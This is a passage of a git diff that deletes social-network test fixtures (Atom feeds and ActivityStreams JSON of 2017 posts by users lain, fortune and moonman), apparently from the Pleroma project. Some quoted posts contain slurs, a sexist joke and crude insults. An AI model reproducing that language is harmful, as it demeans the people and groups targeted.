filefortunehttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/2bc86888-a256-4771-bb53-903f375804f9New note by lainRTs federating into pleroma now.2017-05-04T18:18:50.2764702017-05-04T18:18:50.276476https://pleroma.soykaf.com/contexts/b7ae9350-f317-48aa-8058-2668091bb280http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/902b1f50-f295-4189-8c15-9c880919e121New favorite by lainlain favorited something2017-05-04T08:03:01.3088902017-05-04T08:03:01.308927http://activitystrea.ms/schema/1.0/notetag:gs.smuglo.li,2017-05-03:noticeId=2164642:objectType=commenthttps://pleroma.soykaf.com/contexts/9419f742-aaba-4eb5-89a2-8b599e8bf43chttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/4e396e66-b063-454c-92c6-583506a9a2deNew note by lainClassic.<br><a href='https://pleroma.soykaf.com/media/adc36781-9765-4d9a-b57c-99b7a99108b2/mikodaemonstop.jpg'>https://pleroma.soykaf.com/media/adc36781-9765-4d9a-b57c-99b7a99108b2/mikodaemonstop.jpg</a>2017-05-04T07:59:45.1806192017-05-04T07:59:45.180628https://pleroma.soykaf.com/contexts/6afd9659-41e6-406d-ae97-43b880722861http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/85d183e9-c935-4655-a1e6-8d69a4108235New note by lainん?<br><a href='https://pleroma.soykaf.com/media/ab144c6d-a38c-4d35-a60b-9a998becc094/n.gif'>https://pleroma.soykaf.com/media/ab144c6d-a38c-4d35-a60b-9a998becc094/n.gif</a>2017-05-04T07:58:08.8107162017-05-04T07:58:08.810726https://pleroma.soykaf.com/contexts/2e1aa616-86ce-4b50-9c81-63045a972156http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/7c5c45bb-e4d9-4f72-b4c6-0314afbd3553New note by lainyeah.2017-05-04T07:55:17.3352902017-05-04T07:55:17.335299https://pleroma.soykaf.com/contexts/702c06cf-56ff-4a2f-bf5a-150bc00bb168http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/f33f5f54-1c1d-4462-b9ed-229bb635dfd8New note by lainyeah.2017-05-04T07:49:24.9314842017-05-04T07:49:24.931492https://pleroma.soykaf.com/contexts/c4932e7a-00cb-431a-b4ec-7404cb9daf65http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/0709bc79-7ac5-4983-b6d0-2205bf5ceba3New favorite by lainlain favorited something2017-05-03T20:08:11.2945792017-05-03T20:08:11.294587http://activitystrea.ms/schema/1.0/notetag:pawoo.net,2017-05-03:objectId=7967690:objectType=Statushttps://pleroma.soykaf.com/contexts/07a4b34d-6255-4bb2-8c73-c295a09ac952http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/72c0288e-62d8-43d9-b3d8-1a9d78be8375New note by lain<a href='https://pawoo.net/users/God_Emperor_of_Dune'>@God_Emperor_of_Dune@pawoo.net</a> no man, just some fun domination play among buddies, nothing homo about it.2017-05-03T20:01:00.9983142017-05-03T20:01:00.998322https://pleroma.soykaf.com/contexts/07a4b34d-6255-4bb2-8c73-c295a09ac952http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/d846409e-cf2a-4b68-a149-d5de34a91b0dNew note by lain<a href='https://social.heldscal.la/user/24974'>@dtluna@social.heldscal.la</a> btfo.<br><a href='https://pleroma.soykaf.com/media/fbe42e87-5574-4544-89ba-29ddf46227fa/pnc__picked_media_1889ce61-4961-4fea-8a14-04fe6783ebf6.jpg'>https://pleroma.soykaf.com/media/fbe42e87-5574-4544-89ba-29ddf46227fa/pnc__picked_media_1889ce61-4961-4fea-8a14-04fe6783ebf6.jpg</a>2017-05-03T20:00:15.8609952017-05-03T20:00:15.861002https://pleroma.soykaf.com/contexts/0e88f35e-1a38-4181-bef9-5cbb0d943c63http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/9075265f-f3b2-40e8-809f-10714f05a1fdNew note by lain#nohomo <br><a href='https://pleroma.soykaf.com/media/5cc5ad91-d637-4c45-a691-5ea778dc1bb3/pnc__picked_media_f62dc9ae-ea23-4fe6-bf85-cb75a129ab34.jpg'>https://pleroma.soykaf.com/media/5cc5ad91-d637-4c45-a691-5ea778dc1bb3/pnc__picked_media_f62dc9ae-ea23-4fe6-bf85-cb75a129ab34.jpg</a>2017-05-03T19:50:38.5891062017-05-03T19:50:38.589113https://pleroma.soykaf.com/contexts/07a4b34d-6255-4bb2-8c73-c295a09ac952http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/7924e992-0a95-40d9-8d17-7278c6c634c9New favorite by lainlain favorited something2017-05-03T18:32:59.2733752017-05-03T18:32:59.273382http://activitystrea.ms/schema/1.0/notetag:gs.smuglo.li,2017-05-03:noticeId=2164774:objectType=commenthttps://pleroma.soykaf.com/contexts/9419f742-aaba-4eb5-89a2-8b599e8bf43chttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/569571ba-f54c-41b0-bde4-0fede54599f0New note by lain<a href='https://gs.smuglo.li/user/2'>@nepfag@gs.smuglo.li</a>@gs.smuglo.li I'll do proper subfolders soon, for now it's one per attachment + thumbs etc.2017-05-03T18:27:01.4499492017-05-03T18:27:01.449956https://pleroma.soykaf.com/contexts/9419f742-aaba-4eb5-89a2-8b599e8bf43chttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/b6cc5d7c-0785-4785-a689-f1b05dc9b24dlain repeated a noticeRT <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey now!</p>2017-05-03T18:13:48.8910612017-05-03T18:13:48.891069https://pleroma.soykaf.com/contexts/ec6fdd27-0ec1-4672-8408-5a8e5a9c094bhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posttag:mastodon.social,2017-05-01:objectId=4836142:objectType=StatusNew note by lambadalambda@mastodon.social<p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey now!</p>2017-05-01T18:38:49.3653912017-05-03T18:13:48.934745https://pleroma.soykaf.com/contexts/ec6fdd27-0ec1-4672-8408-5a8e5a9c094bhttps://mastodon.social/users/lambadalambdahttp://activitystrea.ms/schema/1.0/personhttps://mastodon.social/users/lambadalambdalambadalambda@mastodon.socialCritical Valuenillambadalambda@mastodon.socialhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/3c09eb31-4ba8-4ff5-b4fa-8f6f74d58bf0lain repeated a noticeRT Haha, salmons from mastodon didn't work because it's not implementing conversation id...2017-05-03T18:13:15.1480412017-05-03T18:13:15.148049tag:social.heldscal.la,2017-05-01:objectType=thread:nonce=86cda6c734401d80http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posttag:social.heldscal.la,2017-05-01:noticeId=2000425:objectType=noteNew note by lambadalambda@social.heldscal.laHaha, salmons from mastodon didn't work because it's not implementing conversation id...2017-05-01T18:39:36.2163772017-05-03T18:13:15.171143tag:social.heldscal.la,2017-05-01:objectType=thread:nonce=86cda6c734401d80https://social.heldscal.la/user/23211http://activitystrea.ms/schema/1.0/personhttps://social.heldscal.la/user/23211lambadalambda@social.heldscal.laConstance Variablenillambadalambda@social.heldscal.lahttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/b8fc83d5-d7c0-4b5f-8976-0317b51935eaNew note by lain.<br><a href='https://pleroma.soykaf.com/media/563008a7-9a60-47ac-a263-22835729adf6/1492530528735.png'>https://pleroma.soykaf.com/media/563008a7-9a60-47ac-a263-22835729adf6/1492530528735.png</a>2017-05-03T18:12:50.7452412017-05-03T18:12:50.745249https://pleroma.soykaf.com/contexts/9419f742-aaba-4eb5-89a2-8b599e8bf43chttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/ac93ecef-cde0-48e8-ae4b-19e3b94dbe30lain repeated a noticeRT Awright, which one of you hid my PENIS ENVY?2017-05-03T18:08:49.2310012017-05-03T18:08:49.235354https://pleroma.soykaf.com/contexts/a9132cf8-6afa-4dd8-8b29-7b6fcab623b8http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/04e15c66-4936-4930-a134-32841f088bcfNew note by fortuneAwright, which one of you hid my PENIS ENVY?2017-05-01T19:40:03.1699962017-05-03T18:08:49.285347https://pleroma.soykaf.com/contexts/a9132cf8-6afa-4dd8-8b29-7b6fcab623b8https://pleroma.soykaf.com/users/fortunehttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/fortunefortunefortuneThe trusty unix fortune filefortunehttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/54b10fa9-d602-4a0f-b659-e6d3f7bc8c4clain repeated a noticeRT He is a man capable of turning any colour into grey.<br> -- John LeCarre2017-05-03T17:44:47.5789842017-05-03T17:44:47.578996https://pleroma.soykaf.com/contexts/8aebc8e5-5352-4047-8b74-4098a5830ccahttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/70ded299-184d-49cd-af17-23c0950536aaNew note by fortuneHe is a man capable of turning any colour into grey.<br> -- John LeCarre2017-05-02T08:40:03.4194652017-05-03T17:44:47.646192https://pleroma.soykaf.com/contexts/8aebc8e5-5352-4047-8b74-4098a5830ccahttps://pleroma.soykaf.com/users/fortunehttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/fortunefortunefortuneThe trusty unix fortune filefortunehttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/eff9fe49-8fc9-48e6-a1a0-921aa25c8118lain repeated a noticeRT The real trouble with women is that they have *all* the pussy.2017-05-03T17:30:22.5960372017-05-03T17:30:22.596048https://pleroma.soykaf.com/contexts/8c88c9df-4e40-4f54-b15f-c21848d1a8e2http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/0b9b008d-49eb-48a9-a18d-172ce7d01ea2New note by fortuneThe real trouble with women is that they have *all* the pussy.2017-05-02T12:10:03.6030862017-05-03T17:30:22.683141https://pleroma.soykaf.com/contexts/8c88c9df-4e40-4f54-b15f-c21848d1a8e2https://pleroma.soykaf.com/users/fortunehttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/fortunefortunefortuneThe trusty unix fortune filefortunehttp://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/5d90bb26-ce23-4a5b-8dbd-651011780007New favorite by lainlain favorited something2017-05-03T17:28:20.9679262017-05-03T17:28:20.967935http://activitystrea.ms/schema/1.0/notetag:mastodon.social,2017-05-03:objectId=4952899:objectType=Statushttps://pleroma.soykaf.com/contexts/42701ab4-964a-441a-a372-f51bd183e441 \ No newline at end of file diff --git a/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml b/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml deleted file mode 100644 index 26fdebb49..000000000 --- a/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml +++ /dev/null @@ -1,54 +0,0 @@ - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T08:51:48+00:00 - 2017-05-05T08:51:48+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/1 - moonman - EMAIL:shitposterclub@gmail.com XMPP: moon@talk.shitposter.club Matrix Ed25519 fingerprint: 2HuDUTEz3iFN5N3xl6PYp9xZW/EWhgbbt78SrFy4w8o - - - - - - moonman - Generic Enemy - EMAIL:shitposterclub@gmail.com XMPP: moon@talk.shitposter.club Matrix Ed25519 fingerprint: 2HuDUTEz3iFN5N3xl6PYp9xZW/EWhgbbt78SrFy4w8o - - The Moon - - - homepage - https://shitposter.club/moonman - true - - - - - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26 - - - - - https://shitposter.club/api/statuses/user_timeline/1.atom - Generic Enemy - - - - https://shitposter.club/avatar/1-96-20170503024316.jpeg - 2017-05-05T11:43:58+00:00 - - - - - diff --git a/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml b/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml deleted file mode 100644 index 31df7c2a6..000000000 --- a/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml +++ /dev/null @@ -1,454 +0,0 @@ - - - GNU social - https://shitposter.club/api/statuses/user_timeline/1.atom - moonman timeline - Updates from moonman on Shitposter Club! - https://shitposter.club/avatar/1-96-20170503024316.jpeg - 2017-05-05T13:24:09+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/1 - moonman - EMAIL:shitposterclub@gmail.com XMPP: moon@talk.shitposter.club Matrix Ed25519 fingerprint: 2HuDUTEz3iFN5N3xl6PYp9xZW/EWhgbbt78SrFy4w8o - - - - - - moonman - Generic Enemy - EMAIL:shitposterclub@gmail.com XMPP: moon@talk.shitposter.club Matrix Ed25519 fingerprint: 2HuDUTEz3iFN5N3xl6PYp9xZW/EWhgbbt78SrFy4w8o - - The Moon - - - homepage - https://shitposter.club/moonman - true - - - - - - - - - - - - - - tag:shitposter.club,2017-05-05:subscription:1:person:23190:2017-05-05T11:43:58+00:00 - Generic Enemy (moonman)'s status on Friday, 05-May-2017 11:43:58 UTC - <a href="https://shitposter.club/moonman">Generic Enemy</a> started following <a href="https://noagendasocial.com/@Ma5on">Mason</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-05-05T11:43:58+00:00 - 2017-05-05T11:43:58+00:00 - - http://activitystrea.ms/schema/1.0/person - https://noagendasocial.com/users/Ma5on - Mason - - - - - - ma5on - Mason - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=abffa9c14a054d3b - - - - - - - tag:shitposter.club,2017-05-05:subscription:1:person:14357:2017-05-05T10:29:03+00:00 - Generic Enemy (moonman)'s status on Friday, 05-May-2017 10:29:03 UTC - <a href="https://shitposter.club/moonman">Generic Enemy</a> started following <a href="https://mastodon.cloud/@ohyran">Jens Reuterberg</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-05-05T10:29:03+00:00 - 2017-05-05T10:29:03+00:00 - - http://activitystrea.ms/schema/1.0/person - https://mastodon.cloud/users/ohyran - Jens Reuterberg - RPG-nerd, illustrator, Open Source enthusiast, KDE dude, designer and gay lefty. Might be a cliché - but we will soon find out! - - - - - - ohyran - Jens Reuterberg - RPG-nerd, illustrator, Open Source enthusiast, KDE dude, designer and gay lefty. Might be a cliché - but we will soon find out! - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=937151d4825a85bf - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828637:objectType=note - New note by moonman - basicall i would just rather have ppl say &quot;i like x and y&quot; than &quot;i'm a nerd&quot; the term can be retired. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:24:54+00:00 - 2017-05-05T10:24:54+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=65992b0b9b5e6931 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828579:objectType=comment - New comment by moonman - @<a href="https://gs.smuglo.li/user/35497" class="h-card mention" title="Bokuro Bokusawa">boco</a> to be honest i've turned right around and been cruel to other people, i said i'd never do it but it happens again eventually. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:20:33+00:00 - 2017-05-05T10:20:33+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=c997fc73d7f8a8f0 - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828554:objectType=comment - New comment by moonman - @<a href="https://mastodon.cloud/users/ohyran" class="h-card mention" title="Jens Reuterberg">ohyran</a> i won't ever get over bullying but i agree otherwise. i don't go to comic shops too often these days but i got dragged to one last year and the sheer diversity of people enjoying comics now compared to years ago was striking and it pleased me. and i noticed a couple years ago because of youtube i find things i truly enjoy watching, like in-depth videos about electronic parts, didn't exist 20 years ago. it's pretty great. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:18:10+00:00 - 2017-05-05T10:18:10+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - - tag:shitposter.club,2017-05-05:fave:1:comment:2828502:2017-05-05T10:12:52+00:00 - Favorite - moonman favorited something by ohyran: <p><span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> fair enough - that distinction makes it clearer...</p><p>On the other hand - those of us who did "pay the price" of being nerdy little kids in the 80's and 90's should strive to get past it anyway (mental health wise not "just get over it") and see the "nerd culture" thing as a blessing of sorts. We are in the optimal spot to do it. (not saying that that is something easy btw just that NOW is the best of time to start talking about it)</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T10:12:52+00:00 - 2017-05-05T10:12:52+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:mastodon.cloud,2017-05-05:objectId=6334570:objectType=Status - New comment by ohyran - <p><span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> fair enough - that distinction makes it clearer...</p><p>On the other hand - those of us who did "pay the price" of being nerdy little kids in the 80's and 90's should strive to get past it anyway (mental health wise not "just get over it") and see the "nerd culture" thing as a blessing of sorts. We are in the optimal spot to do it. (not saying that that is something easy btw just that NOW is the best of time to start talking about it)</p> - - - - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828496:objectType=note - New note by moonman - things are better now, a lot less kids in america get beaten up and called a fag. still too many. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:11:31+00:00 - 2017-05-05T10:11:31+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=c997fc73d7f8a8f0 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828457:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/21787" class="h-card mention" title="Yukari">cutscenes</a> @<a href="https://gs.smuglo.li/user/28250" class="h-card mention" title="Bricky">thatbrickster</a> @<a href="https://gs.smuglo.li/user/35497" class="h-card mention" title="Bokuro Bokusawa">boco</a> i never understood this because nerds had pocket protectors, which was a draftsman engineer thing and therefore smart, while geeks were people in carnivals who bit heads off small animals. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:07:57+00:00 - 2017-05-05T10:07:57+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828435:objectType=comment - New comment by moonman - @<a href="https://mastodon.cloud/users/ohyran" class="h-card mention" title="Jens Reuterberg">ohyran</a> since i didn't specify i'm talking about people subjected to physical and psychological abuse and not people that are just mad that more people like comic books now. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:05:07+00:00 - 2017-05-05T10:05:07+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828326:objectType=note - New note by moonman - if you were a &quot;nerd&quot; before, like, 2001 you have permanent excuse to hate this kind of shit.   <a href="https://shitposter.club/file/b79fa5644be0d6f22679136e67b7bf45c9c4a74a55c32dd2d0cf15de4ddd5be5.gif" title="https://shitposter.club/file/b79fa5644be0d6f22679136e67b7bf45c9c4a74a55c32dd2d0cf15de4ddd5be5.gif" class="attachment" id="attachment-662105" rel="nofollow external">https://shitposter.club/attachment/662105</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:47:42+00:00 - 2017-05-05T09:47:42+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828250:objectType=note - New note by moonman - <a href="https://shitposter.club/file/1283e2d4dd8f96b8eeb5d9a16b318e210868aa11386cf0d593891e4c75c9126e.gif" title="https://shitposter.club/file/1283e2d4dd8f96b8eeb5d9a16b318e210868aa11386cf0d593891e4c75c9126e.gif" class="attachment" id="attachment-662098" rel="nofollow external">https://shitposter.club/attachment/662098</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:39:06+00:00 - 2017-05-05T09:39:06+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=ea8ffae90546f0ab - - - - - - - - tag:shitposter.club,2017-05-05:fave:1:comment:2828161:2017-05-05T09:28:19+00:00 - Favorite - moonman favorited something by kro: @<a href="https://shitposter.club/user/1" class="h-card u-url p-nickname mention" title="Generic Enemy">moonman</a> Till Brooklyn? - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:28:19+00:00 - 2017-05-05T09:28:19+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:gs.smuglo.li,2017-05-05:noticeId=2188587:objectType=comment - New comment by kro - @<a href="https://shitposter.club/user/1" class="h-card u-url p-nickname mention" title="Generic Enemy">moonman</a> Till Brooklyn? - - - - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=d7aa6b5b057ca555 - - - - - - - tag:shitposter.club,2017-05-05:fave:1:comment:2828125:2017-05-05T09:24:56+00:00 - Favorite - moonman favorited something by hardbass2k8: this has obviously interesting implications in various places, for example:<br /> the nationalism of the nazis might not have been real, who would have thought?<br /> socialism is usually promoted to implementation by real douchebags!<br /> your local social justice people might want diversity but they don't want you, m/19, white, why?<br /> amateur soccer club, they want to be the best in the amateur league but actually they just get drunk after training and are 50% overweight.<br /> This is because humans are not capable of telepathy, so if you join a group it doesn't magically align every little bit of your being with the declared group goals.<br /> <br /> Even though you see unmanned group beliefs flying around from time to time, generally groups are created from a bunch of people. they are not a container for people, they are the people inside them.<br /> <br /> so if you see a group that appears to be cool don't think of it as cool because its goals are cool but because its members are cool. if they aren't, tough cookies. don't be the retard and end up on the camp watchtower. - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:24:56+00:00 - 2017-05-05T09:24:56+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828125:objectType=comment - New comment by hardbass2k8 - this has obviously interesting implications in various places, for example:<br /> the nationalism of the nazis might not have been real, who would have thought?<br /> socialism is usually promoted to implementation by real douchebags!<br /> your local social justice people might want diversity but they don't want you, m/19, white, why?<br /> amateur soccer club, they want to be the best in the amateur league but actually they just get drunk after training and are 50% overweight.<br /> This is because humans are not capable of telepathy, so if you join a group it doesn't magically align every little bit of your being with the declared group goals.<br /> <br /> Even though you see unmanned group beliefs flying around from time to time, generally groups are created from a bunch of people. they are not a container for people, they are the people inside them.<br /> <br /> so if you see a group that appears to be cool don't think of it as cool because its goals are cool but because its members are cool. if they aren't, tough cookies. don't be the retard and end up on the camp watchtower. - - - - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=51b227fe92f6babf - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828128:objectType=note - New note by moonman - In a valid remake of They live, signs would say REBEL, and DON'T GET MARRIED AND HAVE KIDS - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:24:23+00:00 - 2017-05-05T09:24:23+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=b74397fa766b82c9 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828104:objectType=note - New note by moonman - <a href="https://shitposter.club/file/4d34178bde99599f31a28928e1666fbd58448d8a22e94ed82222496e4a45cb07.gif" title="https://shitposter.club/file/4d34178bde99599f31a28928e1666fbd58448d8a22e94ed82222496e4a45cb07.gif" class="attachment" id="attachment-662049" rel="nofollow external">https://shitposter.club/attachment/662049</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:21:01+00:00 - 2017-05-05T09:21:01+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=d7aa6b5b057ca555 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828102:objectType=note - New note by moonman - when ppl find out i haven't always been serious  <a href="https://shitposter.club/file/5859fa95875342cc65dba0d852f726db158ce28198c326d5f13d9de7c0d2c449.gif" title="https://shitposter.club/file/5859fa95875342cc65dba0d852f726db158ce28198c326d5f13d9de7c0d2c449.gif" class="attachment" id="attachment-662053" rel="nofollow external">https://shitposter.club/attachment/662053</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:20:45+00:00 - 2017-05-05T09:20:45+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=0a025ac5a570b4ec - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828086:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> @<a href="https://gs.smuglo.li/user/35497" class="h-card mention" title="Bokuro Bokusawa">boco</a> you are being too serious lol - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:17:19+00:00 - 2017-05-05T09:17:19+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26 - - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828085:objectType=note - New note by moonman - shitposter dot club  <a href="https://shitposter.club/file/9b084c7210b16abbf4d28594b924a07ef4a2a06f89d901a4c42fb1e243291263.gif" title="https://shitposter.club/file/9b084c7210b16abbf4d28594b924a07ef4a2a06f89d901a4c42fb1e243291263.gif" class="attachment" id="attachment-662047" rel="nofollow external">https://shitposter.club/attachment/662047</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:16:50+00:00 - 2017-05-05T09:16:50+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=d1ae088a1b91e5e5 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828061:objectType=note - New note by moonman - even when i lie i tell the truth, is that so hard to understand? - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:15:07+00:00 - 2017-05-05T09:15:07+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=a516e4b8506b8ef5 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828052:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9591" class="h-card mention" title="warum hei&#xDF;en deutschl&#xE4;nder deutschl&#xE4;nder">hardbass2k8</a> history, anthropology. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:14:22+00:00 - 2017-05-05T09:14:22+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=fe4d7f35b13403ba - - - - - - - diff --git a/test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json b/test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json deleted file mode 100644 index 4b7b4df44..000000000 --- a/test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json +++ /dev/null @@ -1 +0,0 @@ -{"@context":["https://www.w3.org/ns/activitystreams","https://shitposter.club/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://shitposter.club/users/moonman","attachment":[],"attributedTo":"https://shitposter.club/users/moonman","cc":["https://shitposter.club/users/moonman/followers"],"content":"@neimzr4luzerz @dolus childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English","context":"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26","conversation":"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26","id":"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment","inReplyTo":"tag:shitposter.club,2017-05-05:noticeId=2827849:objectType=comment","inReplyToStatusId":2827849,"published":"2017-05-05T08:51:48Z","sensitive":false,"summary":null,"tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Note"} \ No newline at end of file diff --git 